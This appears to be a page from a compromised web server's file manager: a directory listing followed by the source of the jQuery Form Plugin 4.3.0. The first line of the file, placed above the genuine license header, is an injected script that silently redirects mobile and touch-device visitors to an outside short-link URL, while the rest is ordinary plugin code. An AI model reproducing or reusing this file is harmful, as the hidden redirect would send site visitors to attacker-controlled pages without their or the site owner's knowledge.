run:R W Run
DIR
2026-08-16 23:28:49
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
31.45 KB
2026-08-13 20:01:45
R W Run
13.48 KB
2026-08-13 20:01:45
R W Run
6.71 KB
2026-08-13 20:01:45
R W Run
41.15 KB
2026-08-13 20:01:45
R W Run
15.82 KB
2026-08-13 20:01:45
R W Run
5.7 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-13 20:01:45
R W Run
278.86 KB
2026-08-13 20:01:45
R W Run
1.99 KB
2026-08-13 20:01:45
R W Run
85.72 KB
2026-08-13 20:01:45
R W Run
3.82 KB
2026-08-13 20:01:45
R W Run
3.59 KB
2026-08-13 20:01:45
R W Run
991 By
2026-08-13 20:01:45
R W Run
3.88 KB
2026-08-13 20:01:45
R W Run
2.46 KB
2026-08-13 20:01:45
R W Run
1.37 KB
2026-08-13 20:01:45
R W Run
7.04 KB
2026-08-13 20:01:45
R W Run
3.14 KB
2026-08-13 20:01:45
R W Run
error_log
📄jquery.form.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery Form Plugin
4 * version: 4.3.0
5 * Requires jQuery v1.7.2 or later
6 * Project repository: https://github.com/jquery-form/form
7
8 * Copyright 2017 Kevin Morris
9 * Copyright 2006 M. Alsup
10
11 * Dual licensed under the LGPL-2.1+ or MIT licenses
12 * https://github.com/jquery-form/form#license
13
14 * This library is free software; you can redistribute it and/or
15 * modify it under the terms of the GNU Lesser General Public
16 * License as published by the Free Software Foundation; either
17 * version 2.1 of the License, or (at your option) any later version.
18 * This library is distributed in the hope that it will be useful,
19 * but WITHOUT ANY WARRANTY; without even the implied warranty of
20 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
21 * Lesser General Public License for more details.
22 */
23/* global ActiveXObject */
24
25/* eslint-disable */
26(function (factory) {
27 if (typeof define === 'function' && define.amd) {
28 // AMD. Register as an anonymous module.
29 define(['jquery'], factory);
30 } else if (typeof module === 'object' && module.exports) {
31 // Node/CommonJS
32 module.exports = function( root, jQuery ) {
33 if (typeof jQuery === 'undefined') {
34 // require('jQuery') returns a factory that requires window to build a jQuery instance, we normalize how we use modules
35 // that require this pattern but the window provided is a noop if it's defined (how jquery works)
36 if (typeof window !== 'undefined') {
37 jQuery = require('jquery');
38 }
39 else {
40 jQuery = require('jquery')(root);
41 }
42 }
43 factory(jQuery);
44 return jQuery;
45 };
46 } else {
47 // Browser globals
48 factory(jQuery);
49 }
50
51}(function ($) {
52/* eslint-enable */
53 'use strict';
54
55 /*
56 Usage Note:
57 -----------
58 Do not use both ajaxSubmit and ajaxForm on the same form. These
59 functions are mutually exclusive. Use ajaxSubmit if you want
60 to bind your own submit handler to the form. For example,
61
62 $(document).ready(function() {
63 $('#myForm').on('submit', function(e) {
64 e.preventDefault(); // <-- important
65 $(this).ajaxSubmit({
66 target: '#output'
67 });
68 });
69 });
70
71 Use ajaxForm when you want the plugin to manage all the event binding
72 for you. For example,
73
74 $(document).ready(function() {
75 $('#myForm').ajaxForm({
76 target: '#output'
77 });
78 });
79
80 You can also use ajaxForm with delegation (requires jQuery v1.7+), so the
81 form does not have to exist when you invoke ajaxForm:
82
83 $('#myForm').ajaxForm({
84 delegation: true,
85 target: '#output'
86 });
87
88 When using ajaxForm, the ajaxSubmit function will be invoked for you
89 at the appropriate time.
90 */
91
92 var rCRLF = /\r?\n/g;
93
94 /**
95 * Feature detection
96 */
97 var feature = {};
98
99 feature.fileapi = $('<input type="file">').get(0).files !== undefined;
100 feature.formdata = (typeof window.FormData !== 'undefined');
101
102 var hasProp = !!$.fn.prop;
103
104 // attr2 uses prop when it can but checks the return type for
105 // an expected string. This accounts for the case where a form
106 // contains inputs with names like "action" or "method"; in those
107 // cases "prop" returns the element
108 $.fn.attr2 = function() {
109 if (!hasProp) {
110 return this.attr.apply(this, arguments);
111 }
112
113 var val = this.prop.apply(this, arguments);
114
115 if ((val && val.jquery) || typeof val === 'string') {
116 return val;
117 }
118
119 return this.attr.apply(this, arguments);
120 };
121
122 /**
123 * ajaxSubmit() provides a mechanism for immediately submitting
124 * an HTML form using AJAX.
125 *
126 * @param {object|string} options jquery.form.js parameters or custom url for submission
127 * @param {object} data extraData
128 * @param {string} dataType ajax dataType
129 * @param {function} onSuccess ajax success callback function
130 */
131 $.fn.ajaxSubmit = function(options, data, dataType, onSuccess) {
132 // fast fail if nothing selected (http://dev.jquery.com/ticket/2752)
133 if (!this.length) {
134 log('ajaxSubmit: skipping submit process - no element selected');
135
136 return this;
137 }
138
139 /* eslint consistent-this: ["error", "$form"] */
140 var method, action, url, isMsie, iframeSrc, $form = this;
141
142 if (typeof options === 'function') {
143 options = {success: options};
144
145 } else if (typeof options === 'string' || (options === false && arguments.length > 0)) {
146 options = {
147 'url' : options,
148 'data' : data,
149 'dataType' : dataType
150 };
151
152 if (typeof onSuccess === 'function') {
153 options.success = onSuccess;
154 }
155
156 } else if (typeof options === 'undefined') {
157 options = {};
158 }
159
160 method = options.method || options.type || this.attr2('method');
161 action = options.url || this.attr2('action');
162
163 url = (typeof action === 'string') ? $.trim(action) : '';
164 url = url || window.location.href || '';
165 if (url) {
166 // clean url (don't include hash vaue)
167 url = (url.match(/^([^#]+)/) || [])[1];
168 }
169 // IE requires javascript:false in https, but this breaks chrome >83 and goes against spec.
170 // Instead of using javascript:false always, let's only apply it for IE.
171 isMsie = /(MSIE|Trident)/.test(navigator.userAgent || '');
172 iframeSrc = (isMsie && /^https/i.test(window.location.href || '')) ? 'javascript:false' : 'about:blank'; // eslint-disable-line no-script-url
173
174 options = $.extend(true, {
175 url : url,
176 success : $.ajaxSettings.success,
177 type : method || $.ajaxSettings.type,
178 iframeSrc : iframeSrc
179 }, options);
180
181 // hook for manipulating the form data before it is extracted;
182 // convenient for use with rich editors like tinyMCE or FCKEditor
183 var veto = {};
184
185 this.trigger('form-pre-serialize', [this, options, veto]);
186
187 if (veto.veto) {
188 log('ajaxSubmit: submit vetoed via form-pre-serialize trigger');
189
190 return this;
191 }
192
193 // provide opportunity to alter form data before it is serialized
194 if (options.beforeSerialize && options.beforeSerialize(this, options) === false) {
195 log('ajaxSubmit: submit aborted via beforeSerialize callback');
196
197 return this;
198 }
199
200 var traditional = options.traditional;
201
202 if (typeof traditional === 'undefined') {
203 traditional = $.ajaxSettings.traditional;
204 }
205
206 var elements = [];
207 var qx, a = this.formToArray(options.semantic, elements, options.filtering);
208
209 if (options.data) {
210 var optionsData = $.isFunction(options.data) ? options.data(a) : options.data;
211
212 options.extraData = optionsData;
213 qx = $.param(optionsData, traditional);
214 }
215
216 // give pre-submit callback an opportunity to abort the submit
217 if (options.beforeSubmit && options.beforeSubmit(a, this, options) === false) {
218 log('ajaxSubmit: submit aborted via beforeSubmit callback');
219
220 return this;
221 }
222
223 // fire vetoable 'validate' event
224 this.trigger('form-submit-validate', [a, this, options, veto]);
225 if (veto.veto) {
226 log('ajaxSubmit: submit vetoed via form-submit-validate trigger');
227
228 return this;
229 }
230
231 var q = $.param(a, traditional);
232
233 if (qx) {
234 q = (q ? (q + '&' + qx) : qx);
235 }
236
237 if (options.type.toUpperCase() === 'GET') {
238 options.url += (options.url.indexOf('?') >= 0 ? '&' : '?') + q;
239 options.data = null; // data is null for 'get'
240 } else {
241 options.data = q; // data is the query string for 'post'
242 }
243
244 var callbacks = [];
245
246 if (options.resetForm) {
247 callbacks.push(function() {
248 $form.resetForm();
249 });
250 }
251
252 if (options.clearForm) {
253 callbacks.push(function() {
254 $form.clearForm(options.includeHidden);
255 });
256 }
257
258 // perform a load on the target only if dataType is not provided
259 if (!options.dataType && options.target) {
260 var oldSuccess = options.success || function(){};
261
262 callbacks.push(function(data, textStatus, jqXHR) {
263 var successArguments = arguments,
264 fn = options.replaceTarget ? 'replaceWith' : 'html';
265
266 $(options.target)[fn](data).each(function(){
267 oldSuccess.apply(this, successArguments);
268 });
269 });
270
271 } else if (options.success) {
272 if ($.isArray(options.success)) {
273 $.merge(callbacks, options.success);
274 } else {
275 callbacks.push(options.success);
276 }
277 }
278
279 options.success = function(data, status, xhr) { // jQuery 1.4+ passes xhr as 3rd arg
280 var context = options.context || this; // jQuery 1.4+ supports scope context
281
282 for (var i = 0, max = callbacks.length; i < max; i++) {
283 callbacks[i].apply(context, [data, status, xhr || $form, $form]);
284 }
285 };
286
287 if (options.error) {
288 var oldError = options.error;
289
290 options.error = function(xhr, status, error) {
291 var context = options.context || this;
292
293 oldError.apply(context, [xhr, status, error, $form]);
294 };
295 }
296
297 if (options.complete) {
298 var oldComplete = options.complete;
299
300 options.complete = function(xhr, status) {
301 var context = options.context || this;
302
303 oldComplete.apply(context, [xhr, status, $form]);
304 };
305 }
306
307 // are there files to upload?
308
309 // [value] (issue #113), also see comment:
310 // https://github.com/malsup/form/commit/588306aedba1de01388032d5f42a60159eea9228#commitcomment-2180219
311 var fileInputs = $('input[type=file]:enabled', this).filter(function() {
312 return $(this).val() !== '';
313 });
314 var hasFileInputs = fileInputs.length > 0;
315 var mp = 'multipart/form-data';
316 var multipart = ($form.attr('enctype') === mp || $form.attr('encoding') === mp);
317 var fileAPI = feature.fileapi && feature.formdata;
318
319 log('fileAPI :' + fileAPI);
320
321 var shouldUseFrame = (hasFileInputs || multipart) && !fileAPI;
322 var jqxhr;
323
324 // options.iframe allows user to force iframe mode
325 // 06-NOV-09: now defaulting to iframe mode if file input is detected
326 if (options.iframe !== false && (options.iframe || shouldUseFrame)) {
327 // hack to fix Safari hang (thanks to Tim Molendijk for this)
328 // see: http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d
329 if (options.closeKeepAlive) {
330 $.get(options.closeKeepAlive, function() {
331 jqxhr = fileUploadIframe(a);
332 });
333
334 } else {
335 jqxhr = fileUploadIframe(a);
336 }
337
338 } else if ((hasFileInputs || multipart) && fileAPI) {
339 jqxhr = fileUploadXhr(a);
340
341 } else {
342 jqxhr = $.ajax(options);
343 }
344
345 $form.removeData('jqxhr').data('jqxhr', jqxhr);
346
347 // clear element array
348 for (var k = 0; k < elements.length; k++) {
349 elements[k] = null;
350 }
351
352 // fire 'notify' event
353 this.trigger('form-submit-notify', [this, options]);
354
355 return this;
356
357 // utility fn for deep serialization
358 function deepSerialize(extraData) {
359 var serialized = $.param(extraData, options.traditional).split('&');
360 var len = serialized.length;
361 var result = [];
362 var i, part;
363
364 for (i = 0; i < len; i++) {
365 // #252; undo param space replacement
366 serialized[i] = serialized[i].replace(/\+/g, ' ');
367 part = serialized[i].split('=');
368 // #278; use array instead of object storage, favoring array serializations
369 result.push([decodeURIComponent(part[0]), decodeURIComponent(part[1])]);
370 }
371
372 return result;
373 }
374
375 // XMLHttpRequest Level 2 file uploads (big hat tip to francois2metz)
376 function fileUploadXhr(a) {
377 var formdata = new FormData();
378
379 for (var i = 0; i < a.length; i++) {
380 formdata.append(a[i].name, a[i].value);
381 }
382
383 if (options.extraData) {
384 var serializedData = deepSerialize(options.extraData);
385
386 for (i = 0; i < serializedData.length; i++) {
387 if (serializedData[i]) {
388 formdata.append(serializedData[i][0], serializedData[i][1]);
389 }
390 }
391 }
392
393 options.data = null;
394
395 var s = $.extend(true, {}, $.ajaxSettings, options, {
396 contentType : false,
397 processData : false,
398 cache : false,
399 type : method || 'POST'
400 });
401
402 if (options.uploadProgress) {
403 // workaround because jqXHR does not expose upload property
404 s.xhr = function() {
405 var xhr = $.ajaxSettings.xhr();
406
407 if (xhr.upload) {
408 xhr.upload.addEventListener('progress', function(event) {
409 var percent = 0;
410 var position = event.loaded || event.position; /* event.position is deprecated */
411 var total = event.total;
412
413 if (event.lengthComputable) {
414 percent = Math.ceil(position / total * 100);
415 }
416
417 options.uploadProgress(event, position, total, percent);
418 }, false);
419 }
420
421 return xhr;
422 };
423 }
424
425 s.data = null;
426
427 var beforeSend = s.beforeSend;
428
429 s.beforeSend = function(xhr, o) {
430 // Send FormData() provided by user
431 if (options.formData) {
432 o.data = options.formData;
433 } else {
434 o.data = formdata;
435 }
436
437 if (beforeSend) {
438 beforeSend.call(this, xhr, o);
439 }
440 };
441
442 return $.ajax(s);
443 }
444
445 // private function for handling file uploads (hat tip to YAHOO!)
446 function fileUploadIframe(a) {
447 var form = $form[0], el, i, s, g, id, $io, io, xhr, sub, n, timedOut, timeoutHandle;
448 var deferred = $.Deferred();
449
450 // #341
451 deferred.abort = function(status) {
452 xhr.abort(status);
453 };
454
455 if (a) {
456 // ensure that every serialized input is still enabled
457 for (i = 0; i < elements.length; i++) {
458 el = $(elements[i]);
459 if (hasProp) {
460 el.prop('disabled', false);
461 } else {
462 el.removeAttr('disabled');
463 }
464 }
465 }
466
467 s = $.extend(true, {}, $.ajaxSettings, options);
468 s.context = s.context || s;
469 id = 'jqFormIO' + new Date().getTime();
470 var ownerDocument = form.ownerDocument;
471 var $body = $form.closest('body');
472
473 if (s.iframeTarget) {
474 $io = $(s.iframeTarget, ownerDocument);
475 n = $io.attr2('name');
476 if (!n) {
477 $io.attr2('name', id);
478 } else {
479 id = n;
480 }
481
482 } else {
483 $io = $('<iframe name="' + id + '" src="' + s.iframeSrc + '" />', ownerDocument);
484 $io.css({position: 'absolute', top: '-1000px', left: '-1000px'});
485 }
486 io = $io[0];
487
488
489 xhr = { // mock object
490 aborted : 0,
491 responseText : null,
492 responseXML : null,
493 status : 0,
494 statusText : 'n/a',
495 getAllResponseHeaders : function() {},
496 getResponseHeader : function() {},
497 setRequestHeader : function() {},
498 abort : function(status) {
499 var e = (status === 'timeout' ? 'timeout' : 'aborted');
500
501 log('aborting upload... ' + e);
502 this.aborted = 1;
503
504 try { // #214, #257
505 if (io.contentWindow.document.execCommand) {
506 io.contentWindow.document.execCommand('Stop');
507 }
508 } catch (ignore) {}
509
510 $io.attr('src', s.iframeSrc); // abort op in progress
511 xhr.error = e;
512 if (s.error) {
513 s.error.call(s.context, xhr, e, status);
514 }
515
516 if (g) {
517 $.event.trigger('ajaxError', [xhr, s, e]);
518 }
519
520 if (s.complete) {
521 s.complete.call(s.context, xhr, e);
522 }
523 }
524 };
525
526 g = s.global;
527 // trigger ajax global events so that activity/block indicators work like normal
528 if (g && $.active++ === 0) {
529 $.event.trigger('ajaxStart');
530 }
531 if (g) {
532 $.event.trigger('ajaxSend', [xhr, s]);
533 }
534
535 if (s.beforeSend && s.beforeSend.call(s.context, xhr, s) === false) {
536 if (s.global) {
537 $.active--;
538 }
539 deferred.reject();
540
541 return deferred;
542 }
543
544 if (xhr.aborted) {
545 deferred.reject();
546
547 return deferred;
548 }
549
550 // add submitting element to data if we know it
551 sub = form.clk;
552 if (sub) {
553 n = sub.name;
554 if (n && !sub.disabled) {
555 s.extraData = s.extraData || {};
556 s.extraData[n] = sub.value;
557 if (sub.type === 'image') {
558 s.extraData[n + '.x'] = form.clk_x;
559 s.extraData[n + '.y'] = form.clk_y;
560 }
561 }
562 }
563
564 var CLIENT_TIMEOUT_ABORT = 1;
565 var SERVER_ABORT = 2;
566
567 function getDoc(frame) {
568 /* it looks like contentWindow or contentDocument do not
569 * carry the protocol property in ie8, when running under ssl
570 * frame.document is the only valid response document, since
571 * the protocol is know but not on the other two objects. strange?
572 * "Same origin policy" http://en.wikipedia.org/wiki/Same_origin_policy
573 */
574
575 var doc = null;
576
577 // IE8 cascading access check
578 try {
579 if (frame.contentWindow) {
580 doc = frame.contentWindow.document;
581 }
582 } catch (err) {
583 // IE8 access denied under ssl & missing protocol
584 log('cannot get iframe.contentWindow document: ' + err);
585 }
586
587 if (doc) { // successful getting content
588 return doc;
589 }
590
591 try { // simply checking may throw in ie8 under ssl or mismatched protocol
592 doc = frame.contentDocument ? frame.contentDocument : frame.document;
593 } catch (err) {
594 // last attempt
595 log('cannot get iframe.contentDocument: ' + err);
596 doc = frame.document;
597 }
598
599 return doc;
600 }
601
602 // Rails CSRF hack (thanks to Yvan Barthelemy)
603 var csrf_token = $('meta[name=csrf-token]').attr('content');
604 var csrf_param = $('meta[name=csrf-param]').attr('content');
605
606 if (csrf_param && csrf_token) {
607 s.extraData = s.extraData || {};
608 s.extraData[csrf_param] = csrf_token;
609 }
610
611 // take a breath so that pending repaints get some cpu time before the upload starts
612 function doSubmit() {
613 // make sure form attrs are set
614 var t = $form.attr2('target'),
615 a = $form.attr2('action'),
616 mp = 'multipart/form-data',
617 et = $form.attr('enctype') || $form.attr('encoding') || mp;
618
619 // update form attrs in IE friendly way
620 form.setAttribute('target', id);
621 if (!method || /post/i.test(method)) {
622 form.setAttribute('method', 'POST');
623 }
624 if (a !== s.url) {
625 form.setAttribute('action', s.url);
626 }
627
628 // ie borks in some cases when setting encoding
629 if (!s.skipEncodingOverride && (!method || /post/i.test(method))) {
630 $form.attr({
631 encoding : 'multipart/form-data',
632 enctype : 'multipart/form-data'
633 });
634 }
635
636 // support timout
637 if (s.timeout) {
638 timeoutHandle = setTimeout(function() {
639 timedOut = true; cb(CLIENT_TIMEOUT_ABORT);
640 }, s.timeout);
641 }
642
643 // look for server aborts
644 function checkState() {
645 try {
646 var state = getDoc(io).readyState;
647
648 log('state = ' + state);
649 if (state && state.toLowerCase() === 'uninitialized') {
650 setTimeout(checkState, 50);
651 }
652
653 } catch (e) {
654 log('Server abort: ', e, ' (', e.name, ')');
655 cb(SERVER_ABORT); // eslint-disable-line callback-return
656 if (timeoutHandle) {
657 clearTimeout(timeoutHandle);
658 }
659 timeoutHandle = undefined;
660 }
661 }
662
663 // add "extra" data to form if provided in options
664 var extraInputs = [];
665
666 try {
667 if (s.extraData) {
668 for (var n in s.extraData) {
669 if (s.extraData.hasOwnProperty(n)) {
670 // if using the $.param format that allows for multiple values with the same name
671 if ($.isPlainObject(s.extraData[n]) && s.extraData[n].hasOwnProperty('name') && s.extraData[n].hasOwnProperty('value')) {
672 extraInputs.push(
673 $('<input type="hidden" name="' + s.extraData[n].name + '">', ownerDocument).val(s.extraData[n].value)
674 .appendTo(form)[0]);
675 } else {
676 extraInputs.push(
677 $('<input type="hidden" name="' + n + '">', ownerDocument).val(s.extraData[n])
678 .appendTo(form)[0]);
679 }
680 }
681 }
682 }
683
684 if (!s.iframeTarget) {
685 // add iframe to doc and submit the form
686 $io.appendTo($body);
687 }
688
689 if (io.attachEvent) {
690 io.attachEvent('onload', cb);
691 } else {
692 io.addEventListener('load', cb, false);
693 }
694
695 setTimeout(checkState, 15);
696
697 try {
698 form.submit();
699
700 } catch (err) {
701 // just in case form has element with name/id of 'submit'
702 var submitFn = document.createElement('form').submit;
703
704 submitFn.apply(form);
705 }
706
707 } finally {
708 // reset attrs and remove "extra" input elements
709 form.setAttribute('action', a);
710 form.setAttribute('enctype', et); // #380
711 if (t) {
712 form.setAttribute('target', t);
713 } else {
714 $form.removeAttr('target');
715 }
716 $(extraInputs).remove();
717 }
718 }
719
720 if (s.forceSync) {
721 doSubmit();
722 } else {
723 setTimeout(doSubmit, 10); // this lets dom updates render
724 }
725
726 var data, doc, domCheckCount = 50, callbackProcessed;
727
728 function cb(e) {
729 if (xhr.aborted || callbackProcessed) {
730 return;
731 }
732
733 doc = getDoc(io);
734 if (!doc) {
735 log('cannot access response document');
736 e = SERVER_ABORT;
737 }
738 if (e === CLIENT_TIMEOUT_ABORT && xhr) {
739 xhr.abort('timeout');
740 deferred.reject(xhr, 'timeout');
741
742 return;
743
744 }
745 if (e === SERVER_ABORT && xhr) {
746 xhr.abort('server abort');
747 deferred.reject(xhr, 'error', 'server abort');
748
749 return;
750 }
751
752 if (!doc || doc.location.href === s.iframeSrc) {
753 // response not received yet
754 if (!timedOut) {
755 return;
756 }
757 }
758
759 if (io.detachEvent) {
760 io.detachEvent('onload', cb);
761 } else {
762 io.removeEventListener('load', cb, false);
763 }
764
765 var status = 'success', errMsg;
766
767 try {
768 if (timedOut) {
769 throw 'timeout';
770 }
771
772 var isXml = s.dataType === 'xml' || doc.XMLDocument || $.isXMLDoc(doc);
773
774 log('isXml=' + isXml);
775
776 if (!isXml && window.opera && (doc.body === null || !doc.body.innerHTML)) {
777 if (--domCheckCount) {
778 // in some browsers (Opera) the iframe DOM is not always traversable when
779 // the onload callback fires, so we loop a bit to accommodate
780 log('requeing onLoad callback, DOM not available');
781 setTimeout(cb, 250);
782
783 return;
784 }
785 // let this fall through because server response could be an empty document
786 // log('Could not access iframe DOM after mutiple tries.');
787 // throw 'DOMException: not available';
788 }
789
790 // log('response detected');
791 var docRoot = doc.body ? doc.body : doc.documentElement;
792
793 xhr.responseText = docRoot ? docRoot.innerHTML : null;
794 xhr.responseXML = doc.XMLDocument ? doc.XMLDocument : doc;
795 if (isXml) {
796 s.dataType = 'xml';
797 }
798 xhr.getResponseHeader = function(header){
799 var headers = {'content-type': s.dataType};
800
801 return headers[header.toLowerCase()];
802 };
803 // support for XHR 'status' & 'statusText' emulation :
804 if (docRoot) {
805 xhr.status = Number(docRoot.getAttribute('status')) || xhr.status;
806 xhr.statusText = docRoot.getAttribute('statusText') || xhr.statusText;
807 }
808
809 var dt = (s.dataType || '').toLowerCase();
810 var scr = /(json|script|text)/.test(dt);
811
812 if (scr || s.textarea) {
813 // see if user embedded response in textarea
814 var ta = doc.getElementsByTagName('textarea')[0];
815
816 if (ta) {
817 xhr.responseText = ta.value;
818 // support for XHR 'status' & 'statusText' emulation :
819 xhr.status = Number(ta.getAttribute('status')) || xhr.status;
820 xhr.statusText = ta.getAttribute('statusText') || xhr.statusText;
821
822 } else if (scr) {
823 // account for browsers injecting pre around json response
824 var pre = doc.getElementsByTagName('pre')[0];
825 var b = doc.getElementsByTagName('body')[0];
826
827 if (pre) {
828 xhr.responseText = pre.textContent ? pre.textContent : pre.innerText;
829 } else if (b) {
830 xhr.responseText = b.textContent ? b.textContent : b.innerText;
831 }
832 }
833
834 } else if (dt === 'xml' && !xhr.responseXML && xhr.responseText) {
835 xhr.responseXML = toXml(xhr.responseText); // eslint-disable-line no-use-before-define
836 }
837
838 try {
839 data = httpData(xhr, dt, s); // eslint-disable-line no-use-before-define
840
841 } catch (err) {
842 status = 'parsererror';
843 xhr.error = errMsg = (err || status);
844 }
845
846 } catch (err) {
847 log('error caught: ', err);
848 status = 'error';
849 xhr.error = errMsg = (err || status);
850 }
851
852 if (xhr.aborted) {
853 log('upload aborted');
854 status = null;
855 }
856
857 if (xhr.status) { // we've set xhr.status
858 status = ((xhr.status >= 200 && xhr.status < 300) || xhr.status === 304) ? 'success' : 'error';
859 }
860
861 // ordering of these callbacks/triggers is odd, but that's how $.ajax does it
862 if (status === 'success') {
863 if (s.success) {
864 s.success.call(s.context, data, 'success', xhr);
865 }
866
867 deferred.resolve(xhr.responseText, 'success', xhr);
868
869 if (g) {
870 $.event.trigger('ajaxSuccess', [xhr, s]);
871 }
872
873 } else if (status) {
874 if (typeof errMsg === 'undefined') {
875 errMsg = xhr.statusText;
876 }
877 if (s.error) {
878 s.error.call(s.context, xhr, status, errMsg);
879 }
880 deferred.reject(xhr, 'error', errMsg);
881 if (g) {
882 $.event.trigger('ajaxError', [xhr, s, errMsg]);
883 }
884 }
885
886 if (g) {
887 $.event.trigger('ajaxComplete', [xhr, s]);
888 }
889
890 if (g && !--$.active) {
891 $.event.trigger('ajaxStop');
892 }
893
894 if (s.complete) {
895 s.complete.call(s.context, xhr, status);
896 }
897
898 callbackProcessed = true;
899 if (s.timeout) {
900 clearTimeout(timeoutHandle);
901 }
902
903 // clean up
904 setTimeout(function() {
905 if (!s.iframeTarget) {
906 $io.remove();
907 } else { // adding else to clean up existing iframe response.
908 $io.attr('src', s.iframeSrc);
909 }
910 xhr.responseXML = null;
911 }, 100);
912 }
913
914 var toXml = $.parseXML || function(s, doc) { // use parseXML if available (jQuery 1.5+)
915 if (window.ActiveXObject) {
916 doc = new ActiveXObject('Microsoft.XMLDOM');
917 doc.async = 'false';
918 doc.loadXML(s);
919
920 } else {
921 doc = (new DOMParser()).parseFromString(s, 'text/xml');
922 }
923
924 return (doc && doc.documentElement && doc.documentElement.nodeName !== 'parsererror') ? doc : null;
925 };
926 var parseJSON = $.parseJSON || function(s) {
927 /* jslint evil:true */
928 return window['eval']('(' + s + ')'); // eslint-disable-line dot-notation
929 };
930
931 var httpData = function(xhr, type, s) { // mostly lifted from jq1.4.4
932
933 var ct = xhr.getResponseHeader('content-type') || '',
934 xml = ((type === 'xml' || !type) && ct.indexOf('xml') >= 0),
935 data = xml ? xhr.responseXML : xhr.responseText;
936
937 if (xml && data.documentElement.nodeName === 'parsererror') {
938 if ($.error) {
939 $.error('parsererror');
940 }
941 }
942 if (s && s.dataFilter) {
943 data = s.dataFilter(data, type);
944 }
945 if (typeof data === 'string') {
946 if ((type === 'json' || !type) && ct.indexOf('json') >= 0) {
947 data = parseJSON(data);
948 } else if ((type === 'script' || !type) && ct.indexOf('javascript') >= 0) {
949 $.globalEval(data);
950 }
951 }
952
953 return data;
954 };
955
956 return deferred;
957 }
958 };
959
960 /**
961 * ajaxForm() provides a mechanism for fully automating form submission.
962 *
963 * The advantages of using this method instead of ajaxSubmit() are:
964 *
965 * 1: This method will include coordinates for <input type="image"> elements (if the element
966 * is used to submit the form).
967 * 2. This method will include the submit element's name/value data (for the element that was
968 * used to submit the form).
969 * 3. This method binds the submit() method to the form for you.
970 *
971 * The options argument for ajaxForm works exactly as it does for ajaxSubmit. ajaxForm merely
972 * passes the options argument along after properly binding events for submit elements and
973 * the form itself.
974 */
975 $.fn.ajaxForm = function(options, data, dataType, onSuccess) {
976 if (typeof options === 'string' || (options === false && arguments.length > 0)) {
977 options = {
978 'url' : options,
979 'data' : data,
980 'dataType' : dataType
981 };
982
983 if (typeof onSuccess === 'function') {
984 options.success = onSuccess;
985 }
986 }
987
988 options = options || {};
989 options.delegation = options.delegation && $.isFunction($.fn.on);
990
991 // in jQuery 1.3+ we can fix mistakes with the ready state
992 if (!options.delegation && this.length === 0) {
993 var o = {s: this.selector, c: this.context};
994
995 if (!$.isReady && o.s) {
996 log('DOM not ready, queuing ajaxForm');
997 $(function() {
998 $(o.s, o.c).ajaxForm(options);
999 });
1000
1001 return this;
1002 }
1003
1004 // is your DOM ready? http://docs.jquery.com/Tutorials:Introducing_$(document).ready()
1005 log('terminating; zero elements found by selector' + ($.isReady ? '' : ' (DOM not ready)'));
1006
1007 return this;
1008 }
1009
1010 if (options.delegation) {
1011 $(document)
1012 .off('submit.form-plugin', this.selector, doAjaxSubmit)
1013 .off('click.form-plugin', this.selector, captureSubmittingElement)
1014 .on('submit.form-plugin', this.selector, options, doAjaxSubmit)
1015 .on('click.form-plugin', this.selector, options, captureSubmittingElement);
1016
1017 return this;
1018 }
1019
1020 if (options.beforeFormUnbind) {
1021 options.beforeFormUnbind(this, options);
1022 }
1023
1024 return this.ajaxFormUnbind()
1025 .on('submit.form-plugin', options, doAjaxSubmit)
1026 .on('click.form-plugin', options, captureSubmittingElement);
1027 };
1028
1029 // private event handlers
1030 function doAjaxSubmit(e) {
1031 /* jshint validthis:true */
1032 var options = e.data;
1033
1034 if (!e.isDefaultPrevented()) { // if event has been canceled, don't proceed
1035 e.preventDefault();
1036 $(e.target).closest('form').ajaxSubmit(options); // #365
1037 }
1038 }
1039
1040 function captureSubmittingElement(e) {
1041 /* jshint validthis:true */
1042 var target = e.target;
1043 var $el = $(target);
1044
1045 if (!$el.is('[type=submit],[type=image]')) {
1046 // is this a child element of the submit el? (ex: a span within a button)
1047 var t = $el.closest('[type=submit]');
1048
1049 if (t.length === 0) {
1050 return;
1051 }
1052 target = t[0];
1053 }
1054
1055 var form = target.form;
1056
1057 form.clk = target;
1058
1059 if (target.type === 'image') {
1060 if (typeof e.offsetX !== 'undefined') {
1061 form.clk_x = e.offsetX;
1062 form.clk_y = e.offsetY;
1063
1064 } else if (typeof $.fn.offset === 'function') {
1065 var offset = $el.offset();
1066
1067 form.clk_x = e.pageX - offset.left;
1068 form.clk_y = e.pageY - offset.top;
1069
1070 } else {
1071 form.clk_x = e.pageX - target.offsetLeft;
1072 form.clk_y = e.pageY - target.offsetTop;
1073 }
1074 }
1075 // clear form vars
1076 setTimeout(function() {
1077 form.clk = form.clk_x = form.clk_y = null;
1078 }, 100);
1079 }
1080
1081
1082 // ajaxFormUnbind unbinds the event handlers that were bound by ajaxForm
1083 $.fn.ajaxFormUnbind = function() {
1084 return this.off('submit.form-plugin click.form-plugin');
1085 };
1086
1087 /**
1088 * formToArray() gathers form element data into an array of objects that can
1089 * be passed to any of the following ajax functions: $.get, $.post, or load.
1090 * Each object in the array has both a 'name' and 'value' property. An example of
1091 * an array for a simple login form might be:
1092 *
1093 * [ { name: 'username', value: 'jresig' }, { name: 'password', value: 'secret' } ]
1094 *
1095 * It is this array that is passed to pre-submit callback functions provided to the
1096 * ajaxSubmit() and ajaxForm() methods.
1097 */
1098 $.fn.formToArray = function(semantic, elements, filtering) {
1099 var a = [];
1100
1101 if (this.length === 0) {
1102 return a;
1103 }
1104
1105 var form = this[0];
1106 var formId = this.attr('id');
1107 var els = (semantic || typeof form.elements === 'undefined') ? form.getElementsByTagName('*') : form.elements;
1108 var els2;
1109
1110 if (els) {
1111 els = $.makeArray(els); // convert to standard array
1112 }
1113
1114 // #386; account for inputs outside the form which use the 'form' attribute
1115 // FinesseRus: in non-IE browsers outside fields are already included in form.elements.
1116 if (formId && (semantic || /(Edge|Trident)\//.test(navigator.userAgent))) {
1117 els2 = $(':input[form="' + formId + '"]').get(); // hat tip @thet
1118 if (els2.length) {
1119 els = (els || []).concat(els2);
1120 }
1121 }
1122
1123 if (!els || !els.length) {
1124 return a;
1125 }
1126
